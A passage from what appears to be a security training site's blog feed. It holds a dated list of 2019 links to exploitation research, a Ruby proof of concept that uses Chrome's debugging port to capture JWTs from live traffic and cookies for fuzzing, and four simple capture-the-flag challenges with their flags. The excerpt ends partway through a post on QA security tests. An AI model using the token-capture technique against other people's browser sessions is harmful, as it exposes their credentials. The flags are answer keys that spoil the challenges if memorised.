              <h5 class="fw-bold">02/12/2019</h5>
                <p>🗞️ <a href="http://blog.infosectcbr.com.au/2019/11/uclibc-unlink-heap-exploitation.html">http://blog.infosectcbr.com.au/2019/11/uclibc-unlink-heap-exploitation.html</a></p>
                <p>🗞️ <a href="https://blog.teddykatz.com/2019/11/23/json-padding-oracles.html">https://blog.teddykatz.com/2019/11/23/json-padding-oracles.html</a></p>
              <h5 class="fw-bold">25/11/2019</h5>
                <p>🗞️ <a href="https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/">https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/</a></p>
                <p>🗞️ <a href="https://know.bishopfox.com/research/reasonably-secure-electron">https://know.bishopfox.com/research/reasonably-secure-electron</a></p>
              <h5 class="fw-bold">18/11/2019</h5>
                <p>🗞️ <a href="https://tpm.fail/tpmfail.pdf">https://tpm.fail/tpmfail.pdf</a></p>
                <p>🗞️ <a href="https://serializethoughts.com/2019/10/28/solving-mstg-crackme-angr">https://serializethoughts.com/2019/10/28/solving-mstg-crackme-angr</a></p>
                <p>🗞️ <a href="https://blog.infosectcbr.com.au/2019/11/avr-libc-house-of-spirit.html">https://blog.infosectcbr.com.au/2019/11/avr-libc-house-of-spirit.html</a></p>
              <h5 class="fw-bold">11/11/2019</h5>
                <p>🗞️ <a href="https://blog.teddykatz.com/2019/11/05/github-oauth-bypass.html">https://blog.teddykatz.com/2019/11/05/github-oauth-bypass.html</a></p>
                <p>🗞️ <a href="https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers">https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers</a></p>
                <p>🗞️ <a href="http://re.alisa.sh/notes/iBoot-address-space.html">http://re.alisa.sh/notes/iBoot-address-space.html</a></p>
              <h5 class="fw-bold">04/11/2019</h5>
                <p>🗞️ <a href="https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/">https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/</a></p>
                <p>🗞️ <a href="https://lab.wallarm.com/race-condition-in-web-applications/">https://lab.wallarm.com/race-condition-in-web-applications/</a></p>
              <h5 class="fw-bold">28/10/2019</h5>
                <p>🗞️ <a href="https://buer.haus/2019/10/18/a-tale-of-exploitation-in-spreadsheet-file-conversions/">https://buer.haus/2019/10/18/a-tale-of-exploitation-in-spreadsheet-file-conversions/</a></p>
                <p>🗞️ <a href="https://tagazok.virtualabs.fr/Workshop-How_to_use_btlejack.pdf">https://tagazok.virtualabs.fr/Workshop-How_to_use_btlejack.pdf</a></p>
                <p>🗞️ <a href="https://cpdos.org">https://cpdos.org</a></p>
                <p>🗞️ <a href="https://www.shielder.it/blog/dont-open-that-xml-xxe-to-rce-in-xml-plugins-for-vs-code-eclipse-theia/">https://www.shielder.it/blog/dont-open-that-xml-xxe-to-rce-in-xml-plugins-for-vs-code-eclipse-theia/</a></p>
              <h5 class="fw-bold">21/10/2019</h5>
                <p>🗞️ <a href="https://srcincite.io/assets/postscript-pat-and-his-black-and-white-hat.pdf">https://srcincite.io/assets/postscript-pat-and-his-black-and-white-hat.pdf</a></p>
                <p>🗞️ <a href="https://hacks.mozilla.org/2019/10/firefoxs-new-websocket-inspector/">https://hacks.mozilla.org/2019/10/firefoxs-new-websocket-inspector/</a></p>
                <p>🗞️ <a href="https://blog.paloaltonetworks.com/2019/10/cloud-kubernetes-vulnerabilities/">https://blog.paloaltonetworks.com/2019/10/cloud-kubernetes-vulnerabilities/</a></p>
              <h5 class="fw-bold">14/10/2019</h5>
                <p>🗞️ <a href="https://theevilbit.github.io/posts/few_click_rce_via_github_desktop_macos_client_with_gatekeeper_bypass_and_custom_url_handlers/">https://theevilbit.github.io/posts/few_click_rce_via_github_desktop_macos_client_with_gatekeeper_bypass_and_custom_url_handlers/</a></p>
                <p>🗞️ <a href="https://medium.com/sensorfu/how-my-application-ran-away-and-called-home-from-redmond-de7af081100d">https://medium.com/sensorfu/how-my-application-ran-away-and-called-home-from-redmond-de7af081100d</a></p>
                <p>🗞️ <a href="https://blog.redteam.pl/2019/10/internal-domain-name-collision-dns.html?m=1">https://blog.redteam.pl/2019/10/internal-domain-name-collision-dns.html?m=1</a></p>
              <h5 class="fw-bold">07/10/2019</h5>
                <p>🗞️ <a href="https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/">https://awakened1712.github.io/hacking/hacking-whatsapp-gif-rce/</a></p>
                <p>🗞️ <a href="https://5alt.me/2019/10/HackMD%20Stored%20XSS%20and%20HackMD%20Desktop%20RCE/">https://5alt.me/2019/10/HackMD%20Stored%20XSS%20and%20HackMD%20Desktop%20RCE/</a></p>
                <p>🗞️ <a href="https://googleprojectzero.blogspot.com/2019/09/windows-exploitation-tricks-spoofing.html?m=1">https://googleprojectzero.blogspot.com/2019/09/windows-exploitation-tricks-spoofing.html?m=1</a></p>
              <h5 class="fw-bold">30/09/2019</h5>
                <p>🗞️ <a href="https://portswigger.net/research/one-xss-cheatsheet-to-rule-them-all">https://portswigger.net/research/one-xss-cheatsheet-to-rule-them-all</a></p>
                <p>🗞️ <a href="https://vavkamil.cz/2019/09/15/how-to-bypass-android-certificate-pinning-and-intercept-ssl-traffic/">https://vavkamil.cz/2019/09/15/how-to-bypass-android-certificate-pinning-and-intercept-ssl-traffic/</a></p>
              <h5 class="fw-bold">23/09/2019</h5>
                <p>🗞️ <a href="https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/">https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/</a></p>
                <p>🗞️ <a href="https://shhnjk.blogspot.com/2019/09/nonce-based-csp-service-worker-csp.html">https://shhnjk.blogspot.com/2019/09/nonce-based-csp-service-worker-csp.html</a></p>
                <p>🗞️ <a href="https://medium.com/bugbountywriteup/race-condition-that-could-result-to-rce-a-story-with-an-app-that-temporary-stored-an-uploaded-9a4065368ba3">https://medium.com/bugbountywriteup/race-condition-that-could-result-to-rce-a-story-with-an-app-that-temporary-stored-an-uploaded-9a4065368ba3</a></p>
              <h5 class="fw-bold">16/09/2019</h5>
                <p>🗞️ <a href="https://www.rcesecurity.com/2019/09/H1-4420-From-Quiz-to-Admin-Chaining-Two-0-Days-to-Compromise-an-Uber-Wordpress/">https://www.rcesecurity.com/2019/09/H1-4420-From-Quiz-to-Admin-Chaining-Two-0-Days-to-Compromise-an-Uber-Wordpress/</a></p>
                <p>🗞️ <a href="https://blog.evilpacket.net/2019/leveraging-javascript-debuggers/">https://blog.evilpacket.net/2019/leveraging-javascript-debuggers/</a></p>
                <p>🗞️ <a href="https://medium.com/@cc1h2e1/write-up-of-two-http-requests-smuggling-ff211656fe7d">https://medium.com/@cc1h2e1/write-up-of-two-http-requests-smuggling-ff211656fe7d</a></p>
              <h5 class="fw-bold">09/09/2019</h5>
                <p>🗞️ <a href="https://medium.com/@prsecurity_/how-to-build-an-internal-red-team-7957ec644695">https://medium.com/@prsecurity_/how-to-build-an-internal-red-team-7957ec644695</a></p>
                <p>🗞️ <a href="https://alephsecurity.com/2019/09/02/Z3-for-webapp-security/">https://alephsecurity.com/2019/09/02/Z3-for-webapp-security/</a></p>
                <p>🗞️ <a href="https://www.synacktiv.com/posts/reverse-engineering/no-grave-but-the-sip-reversing-a-voip-phone-firmware.html">https://www.synacktiv.com/posts/reverse-engineering/no-grave-but-the-sip-reversing-a-voip-phone-firmware.html</a></p>
              <h5 class="fw-bold">02/09/2019</h5>
                <p>🗞️ <a href="https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers">https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers</a></p>
                <p>🗞️ <a href="https://googleprojectzero.blogspot.com/2019/08/a-very-deep-dive-into-ios-exploit.html">https://googleprojectzero.blogspot.com/2019/08/a-very-deep-dive-into-ios-exploit.html</a></p>
                <p>🗞️ <a href="https://research.aurainfosec.io/same-origin-policy/">https://research.aurainfosec.io/same-origin-policy/</a></p>
              <h5 class="fw-bold">26/08/2019</h5>
                <p>🗞️ <a href="https://about.gitlab.com/2019/08/14/american-fuzzy-lop-on-gitlab/">https://about.gitlab.com/2019/08/14/american-fuzzy-lop-on-gitlab/</a></p>
                <p>🗞️ <a href="https://dttw.tech/posts/SJ40_7MNS">https://dttw.tech/posts/SJ40_7MNS</a></p>
                <p>🗞️ <a href="https://soroush.secproject.com/blog/2019/08/uploading-web-config-for-fun-and-profit-2/">https://soroush.secproject.com/blog/2019/08/uploading-web-config-for-fun-and-profit-2/</a></p>
                <p>🗞️ <a href="http://addxorrol.blogspot.com/2019/08/rashomon-of-disclosure.html?m=1">http://addxorrol.blogspot.com/2019/08/rashomon-of-disclosure.html?m=1</a></p>
              <h5 class="fw-bold">19/08/2019</h5>
                <p>🗞️ <a href="https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf">https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf</a></p>
                <p>🗞️ <a href="https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/">https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/</a></p>
                <p>🗞️ <a href="https://github.com/trailofbits/audit-kubernetes/blob/master/reports/Kubernetes%20White%20Paper.pdf">https://github.com/trailofbits/audit-kubernetes/blob/master/reports/Kubernetes%20White%20Paper.pdf</a></p>
              <h5 class="fw-bold">12/08/2019</h5>
                <p>🗞️ <a href="https://www.msreverseengineering.com/blog/2019/8/5/automation-techniques-in-c-reverse-engineering">https://www.msreverseengineering.com/blog/2019/8/5/automation-techniques-in-c-reverse-engineering</a></p>
                <p>🗞️ <a href="https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn">https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn</a></p>
                <p>🗞️ <a href="https://i.blackhat.com/USA-19/Wednesday/us-19-Munoz-SSO-Wars-The-Token-Menace-wp.pdf">https://i.blackhat.com/USA-19/Wednesday/us-19-Munoz-SSO-Wars-The-Token-Menace-wp.pdf</a></p>
                <p>🗞️ <a href="https://www.imperialviolet.org/2019/08/10/ctap2features.html">https://www.imperialviolet.org/2019/08/10/ctap2features.html</a></p>
              <h5 class="fw-bold">05/08/2019</h5>
                <p>🗞️ <a href="https://blog.cloudflare.com/a-gentle-introduction-to-linux-kernel-fuzzing/">https://blog.cloudflare.com/a-gentle-introduction-to-linux-kernel-fuzzing/</a></p>
                <p>🗞️ <a href="http://blog.infosectcbr.com.au/2019/07/linux-heap-tcache-poisoning.html">http://blog.infosectcbr.com.au/2019/07/linux-heap-tcache-poisoning.html</a></p>
              <h5 class="fw-bold">29/07/2019</h5>
                <p>🗞️ <a href="https://www.synacktiv.com/posts/exploit/exploiting-a-no-name-freebsd-kernel-vulnerability.html">https://www.synacktiv.com/posts/exploit/exploiting-a-no-name-freebsd-kernel-vulnerability.html</a></p>
                <p>🗞️ <a href="https://blog.ropnop.com/docker-for-pentesters/">https://blog.ropnop.com/docker-for-pentesters/</a></p>
                <p>🗞️ https://medium.com/@iSecMax/сookie-based-xss-exploitation-2300-bug-bounty-story-9bc532ffa564</p>
              <h5 class="fw-bold">22/07/2019</h5>
                <p>🗞️ <a href="https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/">https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/</a></p>
                <p>🗞️ <a href="https://thezerohack.com/hack-any-instagram">https://thezerohack.com/hack-any-instagram</a></p>
                <p>🗞️ <a href="https://blog.assetnote.io/bug-bounty/2019/07/17/rce-on-zoom/">https://blog.assetnote.io/bug-bounty/2019/07/17/rce-on-zoom/</a></p>
                <p>🗞️ <a href="https://hackerone.com/reports/587854">https://hackerone.com/reports/587854</a></p>
              <h5 class="fw-bold">15/07/2019</h5>
                <p>🗞️ <a href="https://medium.com/@ruvlol/rce-in-jira-cve-2019-11581-901b845f0f">https://medium.com/@ruvlol/rce-in-jira-cve-2019-11581-901b845f0f</a></p>
                <p>🗞️ <a href="https://medium.com/@princechaddha/account-takeover-on-airbnb-acquisition-an-unusual-bug-part-2-45fab11dc407">https://medium.com/@princechaddha/account-takeover-on-airbnb-acquisition-an-unusual-bug-part-2-45fab11dc407</a></p>
              <h5 class="fw-bold">01/07/2019</h5>
                <p>🗞️ <a href="http://blog.ret2.io/2019/06/26/attacking-intel-tsx/">http://blog.ret2.io/2019/06/26/attacking-intel-tsx/</a></p>
                <p>🗞️ <a href="https://blog.ripstech.com/2019/dotcms515-sqli-to-rce/">https://blog.ripstech.com/2019/dotcms515-sqli-to-rce/</a></p>
              <h5 class="fw-bold">24/06/2019</h5>
                <p>🗞️ <a href="https://medium.com/intigriti/how-spending-our-saturday-hacking-earned-us-20k-60990c4678d4">https://medium.com/intigriti/how-spending-our-saturday-hacking-earned-us-20k-60990c4678d4</a></p>
                <p>🗞️ <a href="https://alephsecurity.com/2019/06/17/xnu-qemu-arm64-1/">https://alephsecurity.com/2019/06/17/xnu-qemu-arm64-1/</a></p>
              <h5 class="fw-bold">17/06/2019</h5>
                <p>🗞️ <a href="https://cryptosense.com/blog/how-ledger-hacked-an-hsm/">https://cryptosense.com/blog/how-ledger-hacked-an-hsm/</a></p>
                <p>🗞️ <a href="https://citizenlab.ca/docs/stalkerware-holistic.pdf">https://citizenlab.ca/docs/stalkerware-holistic.pdf</a></p>
                <p>🗞️ <a href="https://speakerdeck.com/andresriancho/internet-scale-analysis-of-aws-cognito-security">https://speakerdeck.com/andresriancho/internet-scale-analysis-of-aws-cognito-security</a></p>
              <h5 class="fw-bold">10/06/2019</h5>
                <p>🗞️ <a href="https://blog.cryptographyengineering.com/2019/06/05/how-does-apple-privately-find-your-offline-devices/">https://blog.cryptographyengineering.com/2019/06/05/how-does-apple-privately-find-your-offline-devices/</a></p>
                <p>🗞️ <a href="https://blog.npmjs.org/post/185397814280/plot-to-steal-cryptocurrency-foiled-by-the-npm">https://blog.npmjs.org/post/185397814280/plot-to-steal-cryptocurrency-foiled-by-the-npm</a></p>
                <p>🗞️ <a href="https://www.ee.oulu.fi/research/ouspg/Disclosure_tracking">https://www.ee.oulu.fi/research/ouspg/Disclosure_tracking</a></p>
              <h5 class="fw-bold">03/06/2019</h5>
                <p>🗞️ <a href="https://code.fb.com/security/service-encryption/">https://code.fb.com/security/service-encryption/</a></p>
                <p>🗞️ <a href="https://www.chromestatus.com/feature/5088147346030592">https://www.chromestatus.com/feature/5088147346030592</a></p>
                <p>🗞️ <a href="https://docs.google.com/presentation/d/1b955DV2ii-Dgv6YR4kUrJtjGugEqXD3FffTHRfvVSYo/mobilepresent?slide=id.g4525dccad7_0_0">https://docs.google.com/presentation/d/1b955DV2ii-Dgv6YR4kUrJtjGugEqXD3FffTHRfvVSYo/mobilepresent?slide=id.g4525dccad7_0_0</a></p>
                <p>🗞️ <a href="https://arxiv.org/abs/1905.13055">https://arxiv.org/abs/1905.13055</a></p>
              <h5 class="fw-bold">27/05/2019</h5>
                <p>🗞️ <a href="https://github.com/veorq/cryptocoding/">https://github.com/veorq/cryptocoding/</a></p>
                <p>🗞️ <a href="https://speakerdeck.com/fransrosen/live-hacking-like-a-mvh-a-walkthrough-on-methodology-and-strategies-to-win-big">https://speakerdeck.com/fransrosen/live-hacking-like-a-mvh-a-walkthrough-on-methodology-and-strategies-to-win-big</a></p>
              <h5 class="fw-bold">20/05/2019</h5>
                <p>🗞️ <a href="https://guidovranken.com/2019/05/14/differential-fuzzing-of-cryptographic-libraries/">https://guidovranken.com/2019/05/14/differential-fuzzing-of-cryptographic-libraries/</a></p>
                <p>🗞️ <a href="https://eprint.iacr.org/2019/459.pdf">https://eprint.iacr.org/2019/459.pdf</a></p>
                <p>🗞️ <a href="https://leakfree.wordpress.com/2015/03/12/php-object-instantiation-cve-2015-1033/">https://leakfree.wordpress.com/2015/03/12/php-object-instantiation-cve-2015-1033/</a></p>
              <h5 class="fw-bold">13/05/2019</h5>
                <p>🗞️ <a href="https://corb3nik.github.io/blog/ins-hack-2019/bypasses-everywhere">https://corb3nik.github.io/blog/ins-hack-2019/bypasses-everywhere</a></p>
                <p>🗞️ <a href="https://anvilventures.com/blog/looking-inside-the-box.html">https://anvilventures.com/blog/looking-inside-the-box.html</a></p>
              <h5 class="fw-bold">06/05/2019</h5>
                <p>🗞️ <a href="https://www.synacktiv.com/ressources/GLPI_9.4.0_Type_juggling_auth_bypass.pdf">https://www.synacktiv.com/ressources/GLPI_9.4.0_Type_juggling_auth_bypass.pdf</a></p>
                <p>🗞️ <a href="https://securityriskadvisors.com/blog/aws-iam-exploitation/">https://securityriskadvisors.com/blog/aws-iam-exploitation/</a></p>
              <<h5 class="fw-bold">29/04/2019</h5>
                <p>🗞️ <a href="https://breaking-bits.gitbook.io/breaking-bits/vulnerability-discovery/reverse-engineering/modern-approaches-toward-embedded-research">https://breaking-bits.gitbook.io/breaking-bits/vulnerability-discovery/reverse-engineering/modern-approaches-toward-embedded-research</a></p>
                <p>🗞️ <a href="https://medium.com/@somdevsangwan/how-i-found-5-redos-vulnerabilities-in-mod-security-crs-ce8474877e6e">https://medium.com/@somdevsangwan/how-i-found-5-redos-vulnerabilities-in-mod-security-crs-ce8474877e6e</a></p>
                <p>🗞️ <a href="https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/">https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/</a></p>
              <h5 class="fw-bold">22/04/2019</h5>
                <p>🗞️ <a href="https://www.synacktiv.com/ressources/advisories/Sitecore_CSRF_deserialize_RCE.pdf">https://www.synacktiv.com/ressources/advisories/Sitecore_CSRF_deserialize_RCE.pdf</a></p>
                <p>🗞️ <a href="https://gitlab.com/cybears/fall-of-cybeartron/">https://gitlab.com/cybears/fall-of-cybeartron/</a></p>
              <h5 class="fw-bold">15/04/2019</h5>
                <p>🗞️ <a href="https://rhinosecuritylabs.com/application-security/cve-2019-0227-expired-domain-rce-apache-axis/">https://rhinosecuritylabs.com/application-security/cve-2019-0227-expired-domain-rce-apache-axis/</a></p>
                <p>🗞️ <a href="https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html">https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html</a></p>
                <p>🗞️ <a href="https://medium.com/starting-up-security/starting-up-security-policy-104261d5438a">https://medium.com/starting-up-security/starting-up-security-policy-104261d5438a</a></p>
              <h5 class="fw-bold">08/04/2019</h5>
                <p>🗞️ <a href="https://blog.filippo.io/a-literate-go-implementation-of-poly1305/">https://blog.filippo.io/a-literate-go-implementation-of-poly1305/</a></p>
                <p>🗞️ <a href="https://medium.com/@terjanq/how-i-am-able-to-hijack-you-1cab793a01d1">https://medium.com/@terjanq/how-i-am-able-to-hijack-you-1cab793a01d1</a></p>
                <p>🗞️ <a href="https://ioactive.com/multiple-vulnerabilities-in-androids-download-provider-cve-2018-9468-cve-2018-9493-cve-2018-9546/">https://ioactive.com/multiple-vulnerabilities-in-androids-download-provider-cve-2018-9468-cve-2018-9493-cve-2018-9546/</a></p>
                <p>🗞️ <a href="https://blog.doyensec.com/2019/04/03/subverting-electron-apps-via-insecure-preload.html">https://blog.doyensec.com/2019/04/03/subverting-electron-apps-via-insecure-preload.html</a></p>
              <h5 class="fw-bold">01/04/2019</h5>
                <p>🗞️ <a href="https://www.twistlock.com/labs-blog/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/">https://www.twistlock.com/labs-blog/disclosing-directory-traversal-vulnerability-kubernetes-copy-cve-2019-1002101/</a></p>
                <p>🗞️ <a href="https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/">https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/</a></p>
                <p>🗞️ <a href="https://chybeta.github.io/2019/03/16/Analysis-for【CVE-2019-5418】File-Content-Disclosure-on-Rails/">https://chybeta.github.io/2019/03/16/Analysis-for【CVE-2019-5418】File-Content-Disclosure-on-Rails/</a></p>
              <h5 class="fw-bold">25/03/2019</h5>
                <p>🗞️ <a href="https://blog.assetnote.io/bug-bounty/2019/03/19/rce-on-mozilla-zero-day-webpagetest/">https://blog.assetnote.io/bug-bounty/2019/03/19/rce-on-mozilla-zero-day-webpagetest/</a></p>
                <p>🗞️ <a href="https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5">https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5</a></p>
                <p>🗞️ <a href="https://tosc.iacr.org/index.php/ToSC/article/view/892/843">https://tosc.iacr.org/index.php/ToSC/article/view/892/843</a></p>
              <h5 class="fw-bold">18/03/2019</h5>
                <p>🗞️ <a href="https://medium.com/@sharan.panegav/account-takeover-using-cross-site-websocket-hijacking-cswh-99cf9cea6c50">https://medium.com/@sharan.panegav/account-takeover-using-cross-site-websocket-hijacking-cswh-99cf9cea6c50</a></p>
                <p>🗞️ <a href="https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html?m=1">https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html?m=1</a></p>
              <h5 class="fw-bold">11/03/2019</h5>
                <p>🗞️ <a href="https://medium.com/@DanielC7/remote-code-execution-gaining-domain-admin-privileges-due-to-a-typo-dbf8773df767">https://medium.com/@DanielC7/remote-code-execution-gaining-domain-admin-privileges-due-to-a-typo-dbf8773df767</a></p>
                <p>🗞️ <a href="https://www.vulnano.com/2019/03/facebook-messenger-server-random-memory.html">https://www.vulnano.com/2019/03/facebook-messenger-server-random-memory.html</a></p>
                <p>🗞️ <a href="https://mobile.twitter.com/rootxharsh/status/1104068814810087424">https://mobile.twitter.com/rootxharsh/status/1104068814810087424</a>
            </div>  


]]>
      </description>
      <pubDate>Thu, 02 Jan 2020 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/articles-worth-reading-from-2019</link>
      <guid>https://pentesterlab.com/blog/articles-worth-reading-from-2019</guid>
    </item>
    <item>
      <title>I don't need no proxy</title>
      <description>
        <![CDATA[           <div class="w-100">
           <div>
                <p>For a long time, I have been looking at solving a simple problem: be more efficient when scaling vulnerability research/bug hunting.</p>
                <p>The problem: I think it makes a lot of sense to decouple the browsing of a website from the actual fuzzing. Using a spider is not really viable in 2019^w2020, so you need a real person in front of a laptop. You can imagine that exercising all the functions of the website is done by one person (QA team, Mechanical Turk, …) and the fuzzing is then done automatically.</p>
                <p>Until last week, my main idea revolved around the following: the person in charge of the browsing visits the website via a proxy and then send all the requests to the fuzzer. This is good but creates a delay between the browsing and fuzzing. There are multiple ways to do this:</p>
                <ul>
                  <li>Set up a proxy and get the browsing team to use it, then you get the logs.</li>
                  <li>Use a browser, and capture all the traffic then save it as HTTP Archives (HAR) or just copy the curl commands (one could imagine a wrapper around curl: fuzz [CURL COMMAND])</li>
                </ul>
                <p>Those options are good, but there is another way I figured out last week (someone most likely already thought of it but I couldn’t find anything on it): use Chrome Debugging ( — remote-debugging-port=9222). You run Chrome in Debugging mode and get access to all the traffic in real time...</p>
                <p>The code below illustrates a basic POC that looks for JWT:</p>
            </div>  

                <pre class="w-100"><code class="language-ruby">require 'chrome_remote'
require 'base64'

chrome = ChromeRemote.client

# Enable events 
chrome.send_cmd "Network.enable"
chrome.send_cmd "Page.enable"

# Setup handler to log network requests
chrome.on "Network.requestWillBeSent" do |params|
  if params["documentURL"] =~ /eyJ.*\.eyJ.*\./
    puts "documentURL"
    puts params.inspect
  elsif params["postData"] =~ /eyJ.*\.eyJ.*\./
    puts "postData" 
    puts params.inspect
  else
    params["request"]["headers"].select{|k,v| v =~ /eyJ.*\.eyJ.*\./ }.each do |k,v|
      puts k,v
      puts params.inspect
    end
  end
  cookies = chrome.send_cmd("Network.getCookies", params["documentURL"])["cookies"]
  cookies.select{|cookie| cookie["value"]=~ /eyJ.*\.eyJ.*\./ }.each do |cookie|
    puts cookie
    puts params.inspect
  end
end

chrome.listen
view raw
</code></pre>
            <p>Once you get the data, you can just send it via a queue to your fuzzer(s) and start attacking the application in real time.</p>
            <p>One of the issue you run into (easy to solve) is that the Network API doesn’t give you access to the cookies as part of the headers. But you can still get access to them via <code>Network.getCookies</code> and add them to the request before adding the request to the queue. All together I think that is likely going to be a nice tool in a Bug Hunter arsenal.</p>
            </div>

]]>
      </description>
      <pubDate>Mon, 30 Dec 2019 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/i-dont-need-no-proxy</link>
      <guid>https://pentesterlab.com/blog/i-dont-need-no-proxy</guid>
    </item>
    <item>
      <title>Easy Capture-The-Flag Challenges</title>
      <description>
        <![CDATA[            <div class="w-100">
       
                <p>When building a Capture-The-Flag (for a conference), you need to have a good mix of very easy challenges and very hard challenges. You need to get people playing for the first time some easy wins to encourage them to dig deeper but you also need to keep the hardcore teams busy for a while.</p>
                <p>In this post, I will share four examples of simple challenges created for the amazing conference Christchurch Con (kudos to the organisers for putting together such a great con). These challenges are by design very simple and you can adapt them for your CTF for a conference or just to have fun at work. One of these challenges was the most often solved challenges during the conference.</p>
                <h5 class="fw-bold mt-4">Challenge 1</h5>
                <p>To host this challenge, you just need a simple web server. When you visit the page, you can see the following:</p>
               
                  
                  <img src="/newdesign/imgs/blog-imgs/ctf-img-01.webp" alt="seventh progress graph" width="100%" height="100%" class="pt-4">
                  <figcaption class="pb-4 text-center">Challenge 1: It Works!</figcaption>
                
                
                <p>The source code of the page gives up the flag pretty quickly:</p>
            

                <pre class="w-100"><code class="language-html">&lt;html&gt;
&lt;h1&gt;It Works!&lt;/h1&gt;

&lt;svg width="500" height="500"&gt;
  &lt;text x="0" y="15" fill="red">THE FLAG IS&lt;/text&gt;
  &lt;text x="100" y="15" fill="red">flag{platypus-PR7R8zkGKVrmZvTQ}&lt;/text&gt;
  &lt;rect width="300" height="20" style="fill:rgb(0,0,0);stroke-width:3;stroke:rgb(0,0,0)" x="100" y="0" /&gt;
&lt;/svg&gt;
&lt;/html&gt;</code></pre>
           
              <p>The code above is just an embedded SVG with the flag behind a black rectangle.</p>
              <h5 class="fw-bold mt-4">Challenge 2</h5>
              <p>The second challenge was very similar but with a PDF this time, you can find the code to generate it below:</p>
              <pre class="w-100"><code class="language-ruby">require "prawn"

Prawn::Document.generate("hello.pdf") do
  text "The flag is flag{axolotl-RFW8Zpt8v0U12Uez}!"
  fill {rectangle [57,724], 200, 20}
end</code></pre>

              <div class="align-self-start mt-4">
              <h5 class="fw-bold">Challenge 3</h5>
              <p>In this challenge, an image with the flag is created and split in 10 slices (shredded):</p>
              </div>

            <pre class="w-100"><code class="language-ruby"># gem install rmagick
require 'rmagick'

name = Magick::Image.new(1280, 720) do
  self.background_color= "Transparent"
end
name_text = Magick::Draw.new
name_text.annotate(name, 0,0,0,0, "The FLAG is\nflag{horse-W81cALar36yN4GQz}") do
  self.pointsize = 74
  self.font =  "Magistral.TTF"
  self.gravity = Magick::CenterGravity
end


name.write "full.png"
img = Magick::Image.read('full.png')[0]

10.times do |i|
  puts i
  z = img.crop( Magick::NorthWestGravity, i*128, 0, 128,720)
  z.write("#{i}.png")
end</code></pre>

            <div>
              <h5 class="fw-bold mt-4">Challenge 4</h5>
              <p>In this challenge, we do something similar but then we randomly mix the slices (I wrote a similar challenge for Ruxcon a few years back)</p>
            </div>

            <pre class="w-100"><code class="language-ruby"># gem install rmagick
require 'rmagick'

name = Magick::Image.new(1280, 720) do
  self.background_color= "Transparent"
end
name_text = Magick::Draw.new
name_text.annotate(name, 0,0,0,0, "The FLAG is\nflag{cat-lGkLa1Xh6g3fjObA}") do
  self.pointsize = 74
  self.font =  "Magistral.TTF"
  self.gravity = Magick::CenterGravity
end


name.write "full.png"
img = Magick::Image.read('full.png')[0]

names = (0..9).to_a.shuffle
10.times do |i|
  puts i
  z = img.crop( Magick::NorthWestGravity, i*128, 0, 128,720)
  z.write("#{names[i]}.png")
end</code></pre>



            <p>You now have 4 challenges you can use for your CTF (or modify to improve them). Have fun!</p>
            </div>

]]>
      </description>
      <pubDate>Wed, 28 Aug 2019 00:00:00 +0000</pubDate>
      <link>https://pentesterlab.com/blog/easy-capture-the-flag-challenges</link>
      <guid>https://pentesterlab.com/blog/easy-capture-the-flag-challenges</guid>
    </item>
    <item>
      <title>Invest in QA!</title>
      <description>
        <![CDATA[<div>
            <p>One of the common advice when trying to improve security at scale is to invest in QA. In this article, we are going to cover some aspects of it.</p>
            <p><i>If you are looking for more application security-related content, make sure you check our previous article on <a href="#">Building Blocks</a>.</i></p>
            <h5 class="fw-bold mt-4">Add some negative test cases</h5>
            <p>The simplest and most common advice around adding security using QA is to get your dev[ops] teams to write some negative test cases.
            <p>For example, let say you have a login page. Your test cases will most likely include:</p>
            <ul>
              <li>I can access the login page</li>
              <li>I can log in with a correct email address and password</li>
            </ul>
            <ul>
              <li>I cannot log in with an incorrect email address</li>
              <li>I cannot log in with an incorrect password and a correct email address</li>
              <li>I cannot log in with an empty password</li>
              <li>I cannot log in with a NULL password (think LDAP backend)</li>
              <li>…</li>
            </ul>
            <p>These very simple test cases will ensure that you don’t have a terrible vulnerability in your login functionality. Furthermore, it’s very quick to do!</p>
            <p>These test cases will also most likely be owned by the dev[ops] teams so they don’t incur any overhead for the security team.</p>
            <h5 class="fw-bold mt-4">Get your QA team to do some testing</h5>
            <p>Another way to get your QA team involved is to teach them some “hacking 101”. This can be very simple:</p>
            <ul>
